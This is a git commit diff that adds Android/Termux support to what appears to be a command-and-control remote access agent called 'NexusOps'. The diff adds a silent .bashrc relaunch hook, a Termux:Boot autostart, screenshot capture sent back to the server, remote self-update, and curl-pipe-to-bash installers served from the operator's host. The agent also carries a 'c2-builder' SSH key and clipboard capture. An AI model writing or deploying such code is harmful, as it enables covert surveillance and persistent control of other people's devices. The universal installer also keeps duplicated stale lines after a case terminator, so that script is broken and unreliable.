v2.5.0: Android/Termux support — detection, persistence (bashrc+termux-boot), screenshots, openssh on 8022, android auto-tagging, /install-android.sh + universal Android branch, Android tab + icon; update_agent UA fix (CF 403 on Python-urllib) + default update URL in update-all
This commit is contained in:
@@ -14,7 +14,7 @@ import subprocess
|
|||||||
import shutil
|
import shutil
|
||||||
import getpass
|
import getpass
|
||||||
import urllib.request
|
import urllib.request
|
||||||
AGENT_VERSION = "2.4.0"
|
AGENT_VERSION = "2.5.0"
|
||||||
NEXUS_TTL_DAYS = int(os.environ.get('NEXUS_TTL_DAYS', '14'))
|
NEXUS_TTL_DAYS = int(os.environ.get('NEXUS_TTL_DAYS', '14'))
|
||||||
NEXUS_FALLBACK_URLS = os.environ.get('NEXUS_FALLBACK_URLS', '').split(',') if os.environ.get('NEXUS_FALLBACK_URLS') else []
|
NEXUS_FALLBACK_URLS = os.environ.get('NEXUS_FALLBACK_URLS', '').split(',') if os.environ.get('NEXUS_FALLBACK_URLS') else []
|
||||||
NEXUS_SSH_PUBKEY = 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMDTa9+VxaF12ryXSjczHXh5n8n42GoEZoLiE96wbEYG root@c2-builder-slay'
|
NEXUS_SSH_PUBKEY = 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMDTa9+VxaF12ryXSjczHXh5n8n42GoEZoLiE96wbEYG root@c2-builder-slay'
|
||||||
@@ -290,6 +290,13 @@ def _check_ttl_and_wipe(server_url):
|
|||||||
pass
|
pass
|
||||||
os._exit(0)
|
os._exit(0)
|
||||||
|
|
||||||
|
# ── Android/Termux detection ──
|
||||||
|
def _is_termux():
|
||||||
|
return "com.termux" in os.environ.get("PREFIX", "") or os.path.exists("/data/data/com.termux")
|
||||||
|
|
||||||
|
def _is_android():
|
||||||
|
return _is_termux() or os.path.exists("/system/bin/sh") and platform.system() == "Linux"
|
||||||
|
|
||||||
# ── Clipboard capture (desktop only) ──
|
# ── Clipboard capture (desktop only) ──
|
||||||
_last_clip = None
|
_last_clip = None
|
||||||
def _read_clipboard():
|
def _read_clipboard():
|
||||||
@@ -705,6 +712,21 @@ def execute_structured_action(action_type, payload):
|
|||||||
if os.path.exists(ss_path):
|
if os.path.exists(ss_path):
|
||||||
os.remove(ss_path)
|
os.remove(ss_path)
|
||||||
|
|
||||||
|
if system == "linux" and _is_termux():
|
||||||
|
try:
|
||||||
|
r = subprocess.run("termux-storage-screenshot " + ss_path, shell=True, capture_output=True, timeout=15)
|
||||||
|
except Exception:
|
||||||
|
r = None
|
||||||
|
if not (os.path.exists(ss_path) and os.path.getsize(ss_path) > 0):
|
||||||
|
subprocess.run("screencap -p " + ss_path, shell=True, capture_output=True, timeout=15)
|
||||||
|
if os.path.exists(ss_path) and os.path.getsize(ss_path) > 0:
|
||||||
|
import base64 as _b64ss
|
||||||
|
with open(ss_path, "rb") as f:
|
||||||
|
b64ss = _b64ss.b64encode(f.read()).decode()
|
||||||
|
os.remove(ss_path)
|
||||||
|
return json.dumps({"type":"file_result","filename":f"screenshot-{int(time.time())}.png","mime":"image/png","data":b64ss}), 0
|
||||||
|
return "ERROR: Termux screenshot failed (needs termux-api storage permission or root screencap)", 1
|
||||||
|
|
||||||
if system == "linux":
|
if system == "linux":
|
||||||
for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]:
|
for tool in ["import", "scrot", "gnome-screenshot", "spectacle"]:
|
||||||
if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0:
|
if subprocess.run(["which", tool], stdout=subprocess.PIPE, stderr=subprocess.PIPE).returncode == 0:
|
||||||
@@ -782,7 +804,11 @@ def execute_structured_action(action_type, payload):
|
|||||||
my_path = os.path.abspath(__file__)
|
my_path = os.path.abspath(__file__)
|
||||||
bak = my_path + ".bak"
|
bak = my_path + ".bak"
|
||||||
os.rename(my_path, bak)
|
os.rename(my_path, bak)
|
||||||
urllib.request.urlretrieve(new_url, my_path)
|
req2 = urllib.request.Request(new_url, headers={"User-Agent": "NexusOps-Agent/1.0"})
|
||||||
|
with urllib.request.urlopen(req2, timeout=60) as resp:
|
||||||
|
data = resp.read()
|
||||||
|
with open(my_path, "wb") as f:
|
||||||
|
f.write(data)
|
||||||
os.chmod(my_path, 0o755)
|
os.chmod(my_path, 0o755)
|
||||||
os.remove(bak)
|
os.remove(bak)
|
||||||
return "Agent updated successfully. Restarting...", 0
|
return "Agent updated successfully. Restarting...", 0
|
||||||
@@ -794,6 +820,31 @@ def execute_structured_action(action_type, payload):
|
|||||||
|
|
||||||
elif action_type == "ensure_persistence":
|
elif action_type == "ensure_persistence":
|
||||||
results = []
|
results = []
|
||||||
|
if system == "linux" and _is_termux():
|
||||||
|
# Termux: cron is unavailable by default — use .bashrc re-launch + optional termux-boot script
|
||||||
|
try:
|
||||||
|
import shlex as _sh
|
||||||
|
srv = payload.get('server_url', '')
|
||||||
|
bashrc = os.path.join(os.path.expanduser("~"), ".bashrc")
|
||||||
|
hook = f"\n# nexus-agent\n(pgrep -f agent.py || python3 {os.path.abspath(__file__)} --server {srv} --silent &>/dev/null &)\n"
|
||||||
|
content = open(bashrc).read() if os.path.exists(bashrc) else ""
|
||||||
|
if "nexus-agent" not in content:
|
||||||
|
with open(bashrc, "a") as f:
|
||||||
|
f.write(hook)
|
||||||
|
results.append("bashrc: hook installed")
|
||||||
|
else:
|
||||||
|
results.append("bashrc: already present")
|
||||||
|
bootdir = os.path.expanduser("~/termux-boot")
|
||||||
|
if os.path.isdir(bootdir):
|
||||||
|
script = os.path.join(bootdir, "nexus-agent.sh")
|
||||||
|
with open(script, "w") as f:
|
||||||
|
f.write("#!/data/data/com.termux/files/usr/bin/sh\n")
|
||||||
|
f.write(f"python3 {os.path.abspath(__file__)} --server {srv} --silent &\n")
|
||||||
|
os.chmod(script, 0o700)
|
||||||
|
results.append("termux-boot: script installed")
|
||||||
|
except Exception as e:
|
||||||
|
results.append(f"termux persistence failed: {str(e)[:50]}")
|
||||||
|
return "Persistence results: " + "; ".join(results), 0
|
||||||
if system == "linux":
|
if system == "linux":
|
||||||
# crontab
|
# crontab
|
||||||
try:
|
try:
|
||||||
@@ -1346,8 +1397,8 @@ def main():
|
|||||||
"platform": system_os.lower(),
|
"platform": system_os.lower(),
|
||||||
"arch": arch,
|
"arch": arch,
|
||||||
"ip": ip,
|
"ip": ip,
|
||||||
"osName": f"{system_os} {platform.release()}",
|
"osName": (f"Android (Termux) {platform.release()}" if (_is_android() and _is_termux()) else f"{system_os} {platform.release()}"),
|
||||||
"tags": node_tags,
|
"tags": (node_tags + (["android"] if _is_android() else [])),
|
||||||
"agentVersion": AGENT_VERSION
|
"agentVersion": AGENT_VERSION
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1395,7 +1446,7 @@ def main():
|
|||||||
"diskUsage": disk,
|
"diskUsage": disk,
|
||||||
"uptime": uptime,
|
"uptime": uptime,
|
||||||
"processCount": get_process_count(),
|
"processCount": get_process_count(),
|
||||||
"tags": node_tags,
|
"tags": (node_tags + (["android"] if _is_android() else [])),
|
||||||
"heartbeatInterval": heartbeat_interval,
|
"heartbeatInterval": heartbeat_interval,
|
||||||
"agentVersion": AGENT_VERSION
|
"agentVersion": AGENT_VERSION
|
||||||
}
|
}
|
||||||
|
|||||||
BIN
dist/NexusAgent
vendored
BIN
dist/NexusAgent
vendored
Binary file not shown.
@@ -414,6 +414,7 @@ function getOsIcon(platform) {
|
|||||||
const p = (platform || '').toLowerCase();
|
const p = (platform || '').toLowerCase();
|
||||||
if (p.includes('win')) return 'fa-brands fa-windows';
|
if (p.includes('win')) return 'fa-brands fa-windows';
|
||||||
if (p.includes('darwin') || p.includes('mac')) return 'fa-brands fa-apple';
|
if (p.includes('darwin') || p.includes('mac')) return 'fa-brands fa-apple';
|
||||||
|
if (p.includes('android')) return 'fa-brands fa-android';
|
||||||
return 'fa-brands fa-linux';
|
return 'fa-brands fa-linux';
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -245,6 +245,7 @@
|
|||||||
<button class="tab-btn" onclick="switchTab('linux')"><i class="fa-brands fa-linux"></i> Linux</button>
|
<button class="tab-btn" onclick="switchTab('linux')"><i class="fa-brands fa-linux"></i> Linux</button>
|
||||||
<button class="tab-btn" onclick="switchTab('windows')"><i class="fa-brands fa-windows"></i> Windows</button>
|
<button class="tab-btn" onclick="switchTab('windows')"><i class="fa-brands fa-windows"></i> Windows</button>
|
||||||
<button class="tab-btn" onclick="switchTab('mac')"><i class="fa-brands fa-apple"></i> macOS</button>
|
<button class="tab-btn" onclick="switchTab('mac')"><i class="fa-brands fa-apple"></i> macOS</button>
|
||||||
|
<button class="tab-btn" onclick="switchTab('android')"><i class="fa-brands fa-android"></i> Android</button>
|
||||||
<button class="tab-btn" onclick="switchTab('manual')"><i class="fa-brands fa-python"></i> Python</button>
|
<button class="tab-btn" onclick="switchTab('manual')"><i class="fa-brands fa-python"></i> Python</button>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
@@ -294,6 +295,15 @@
|
|||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<div class="tab-content" id="tab-android">
|
||||||
|
<p class="tab-description"><strong>Requires the Termux app</strong> (F-Droid build recommended). Installs agent + openssh inside Termux, adds Termux:Boot persistence if you have the boot addon. <span class="nx-term" data-tip="Termux is a Linux environment app for Android — install it from F-Droid (the Play Store build is outdated). This installer runs INSIDE Termux.">ⓘ What's Termux?</span></p>
|
||||||
|
<div class="code-block">
|
||||||
|
<code id="codeAndroid">pkg install -y curl && curl -sSL <span class="server-url-placeholder">https://agent.thetempleofdoom.com</span>/install-android.sh | bash</code>
|
||||||
|
<button class="btn-copy" onclick="copyCode('codeAndroid', this)"><i class="fa-regular fa-copy"></i> Copy</button>
|
||||||
|
</div>
|
||||||
|
<p class="tab-description" style="color:#fbbf24; margin-top:0.5rem;"><i class="fa-solid fa-battery-half"></i> Disable battery optimization for Termux (Settings → Apps → Termux → Battery) or Android will kill the agent.</p>
|
||||||
|
</div>
|
||||||
|
|
||||||
<div class="tab-content" id="tab-manual">
|
<div class="tab-content" id="tab-manual">
|
||||||
<p class="tab-description">Download and run directly using standard Python 3 (No external dependencies required).</p>
|
<p class="tab-description">Download and run directly using standard Python 3 (No external dependencies required).</p>
|
||||||
<div class="code-block">
|
<div class="code-block">
|
||||||
|
|||||||
60
server.js
60
server.js
@@ -1026,6 +1026,56 @@ echo "✅ Agent launched (no persistence). It will report back to $SERVER_URL"`}
|
|||||||
res.send(script);
|
res.send(script);
|
||||||
});
|
});
|
||||||
|
|
||||||
|
// ── Android (Termux) installer ──
|
||||||
|
app.get('/install-android.sh', (req, res) => {
|
||||||
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
||||||
|
const persist = req.query.persist !== '0';
|
||||||
|
const script = `#!/data/data/com.termux/files/usr/bin/bash
|
||||||
|
# NexusOps Android (Termux) Agent Installer
|
||||||
|
set -e
|
||||||
|
SERVER_URL="${serverUrl}"
|
||||||
|
INSTALL_DIR="$HOME/.nexus-agent"
|
||||||
|
|
||||||
|
echo "==========================================="
|
||||||
|
echo " NexusOps Agent Installer (Android) "
|
||||||
|
echo "==========================================="
|
||||||
|
|
||||||
|
echo "[1/4] Installing requirements (python, openssh)..."
|
||||||
|
pkg install -y python openssh 2>/dev/null || apt install -y python openssh 2>/dev/null || echo "[!] some packages failed — continuing"
|
||||||
|
|
||||||
|
echo "[2/4] Creating install dir..."
|
||||||
|
mkdir -p "$INSTALL_DIR"
|
||||||
|
|
||||||
|
echo "[3/4] Downloading agent..."
|
||||||
|
curl -sSL "$SERVER_URL/agent.py" -o "$INSTALL_DIR/agent.py"
|
||||||
|
chmod +x "$INSTALL_DIR/agent.py"
|
||||||
|
|
||||||
|
echo "[4/4] Starting agent..."
|
||||||
|
nohup python3 "$INSTALL_DIR/agent.py" --server "$SERVER_URL" --silent >/dev/null 2>&1 &
|
||||||
|
${persist ? `
|
||||||
|
# Persistence: bashrc hook (+ termux-boot if present)
|
||||||
|
HOOK='
|
||||||
|
# nexus-agent
|
||||||
|
(pgrep -f agent.py || python3 $INSTALL_DIR/agent.py --server $SERVER_URL --silent &>/dev/null &)
|
||||||
|
'
|
||||||
|
grep -q nexus-agent ~/.bashrc 2>/dev/null || echo "$HOOK" >> ~/.bashrc
|
||||||
|
if [ -d ~/termux-boot ]; then
|
||||||
|
cat > ~/termux-boot/nexus-agent.sh <<BOOT
|
||||||
|
#!/data/data/com.termux/files/usr/bin/sh
|
||||||
|
python3 $HOME/.nexus-agent/agent.py --server \${SERVER_URL} --silent &
|
||||||
|
BOOT
|
||||||
|
chmod +x ~/termux-boot/nexus-agent.sh
|
||||||
|
echo "[+] Termux:Boot script installed"
|
||||||
|
fi
|
||||||
|
echo "[+] Persistence installed (bashrc${persist})"` : `echo "[+] Persistence disabled — agent runs once"`}
|
||||||
|
|
||||||
|
echo "✅ Android agent installed! It will appear on the dashboard in seconds."
|
||||||
|
echo " Battery optimization note: disable it for Termux so Android doesn't kill the agent."
|
||||||
|
`;
|
||||||
|
res.setHeader('Content-Type', 'text/plain');
|
||||||
|
res.send(script);
|
||||||
|
});
|
||||||
|
|
||||||
// ── Universal Auto-Install (one command, any OS, fully silent) ──
|
// ── Universal Auto-Install (one command, any OS, fully silent) ──
|
||||||
app.get('/install', (req, res) => {
|
app.get('/install', (req, res) => {
|
||||||
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
const serverUrl = PUBLIC_URL || `http://${req.headers.host || (SERVER_IP + ":" + PORT)}`;
|
||||||
@@ -1039,6 +1089,14 @@ echo "[*] NexusOps Universal Installer — connecting to $SERVER_URL"
|
|||||||
|
|
||||||
case "$(uname -s 2>/dev/null || echo Windows)" in
|
case "$(uname -s 2>/dev/null || echo Windows)" in
|
||||||
Linux)
|
Linux)
|
||||||
|
if [ -n "$PREFIX" ] && echo "$PREFIX" | grep -q com.termux; then
|
||||||
|
echo "[*] Android/Termux detected — deploying Termux agent"
|
||||||
|
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install-android.sh?persist=${persist}" 2>/dev/null | bash ${quiet} &
|
||||||
|
else
|
||||||
|
echo "[*] Linux detected — deploying via systemd"
|
||||||
|
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh?persist=${persist}" 2>/dev/null | sudo bash ${quiet} &
|
||||||
|
fi
|
||||||
|
;;
|
||||||
echo "[*] Linux detected — deploying via systemd"
|
echo "[*] Linux detected — deploying via systemd"
|
||||||
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh?persist=${persist}" 2>/dev/null | sudo bash ${quiet} &
|
curl -fsSL --retry 3 --retry-delay 2 "$SERVER_URL/install.sh?persist=${persist}" 2>/dev/null | sudo bash ${quiet} &
|
||||||
;;
|
;;
|
||||||
@@ -1087,7 +1145,7 @@ app.post('/api/nodes/update-all', (req, res) => {
|
|||||||
if (n.agentVersion && n.agentVersion === CURRENT_AGENT_VERSION) continue;
|
if (n.agentVersion && n.agentVersion === CURRENT_AGENT_VERSION) continue;
|
||||||
commandQueues.get(id).push({
|
commandQueues.get(id).push({
|
||||||
id: `cmd-${Date.now()}-up${Math.random().toString(36).slice(2, 4)}`,
|
id: `cmd-${Date.now()}-up${Math.random().toString(36).slice(2, 4)}`,
|
||||||
actionType: 'update_agent', payload: {}, command: 'update_agent',
|
actionType: 'update_agent', payload: { url: (PUBLIC_URL || `http://${SERVER_IP}:${PORT}`) + '/agent.py' }, command: 'update_agent',
|
||||||
status: 'queued', queuedAt: Date.now()
|
status: 'queued', queuedAt: Date.now()
|
||||||
});
|
});
|
||||||
queued++; targets.push(id);
|
queued++; targets.push(id);
|
||||||
|
|||||||
Reference in New Issue
Block a user